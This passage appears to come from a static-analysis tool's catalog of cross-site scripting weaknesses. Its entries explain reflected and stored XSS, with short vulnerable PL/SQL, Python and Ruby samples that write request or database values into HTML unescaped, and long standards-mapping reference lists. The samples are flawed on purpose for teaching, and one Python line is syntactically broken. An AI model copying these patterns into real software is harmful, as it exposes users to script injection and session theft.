[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.php.cross_site_scripting_reflected
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following code segment reads an employee ID, eid, from an HTTP request and displays it to the user.


...
-- Assume QUERY_STRING looks like EID=EmployeeID
eid := SUBSTR(OWA_UTIL.get_cgi_env('QUERY_STRING'), 5);
HTP.htmlOpen;
HTP.headOpen;
HTP.title ('Employee Information');
HTP.headClose;
HTP.bodyOpen;
HTP.br;
HTP.print('< b >Employee ID: ' || eid || '</ b >');
HTP.br;
HTP.bodyClose;
HTP.htmlClose;
...


The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code is executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 2: The following code segment queries a database for an employee with a given ID and prints the corresponding employee's name.


...
SELECT ename INTO name FROM emp WHERE id = eid;
HTP.htmlOpen;
HTP.headOpen;
HTP.title ('Employee Information');
HTP.headClose;
HTP.bodyOpen;
HTP.br;
HTP.print('< b >Employee Name: ' || name || '</ b >');
HTP.br;
HTP.bodyClose;
HTP.htmlClose;
...


As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.sql.cross_site_scripting_reflected
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following Python code segment reads an employee ID, eid, from an HTTP request and displays it to the user.


req = self.request() # fetch the request object
eid = req.field('eid',None) # tainted request message
...
self.writeln("Employee ID:" + eid)


The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code is executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 2: The following Python code segment queries a database for an employee with a given ID and prints the corresponding employee's name.


...
cursor.execute("select * from emp where id="+eid)
row = cursor.fetchone()
self.writeln('Employee name: ' + row["emp"]')
...


As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.python.cross_site_scripting_reflected
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following Ruby code segment reads an employee ID, eid, from an HTTP request and displays it to the user.


eid = req.params['eid'] #gets request parameter 'eid'
Rack::Response.new.finish do |res|
...
res.write("Employee ID: #{eid}")
end


The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code is executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS, however please note that if using Rack::Request#params() as in Example 1, this sees both GET and POST parameters, so may be vulnerable to various types of attacks other than just having the malicious code appended to the URL.

Example 2: The following Ruby code segment queries a database for an employee with a given ID and prints the corresponding employee's name.


...
rs = conn.exec_params("select * from emp where id=?", eid)
...
Rack::Response.new.finish do |res|
...
rs.each do |row|
res.write("Employee name: #{escape(row['name'])}")
...
end
end
...


As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
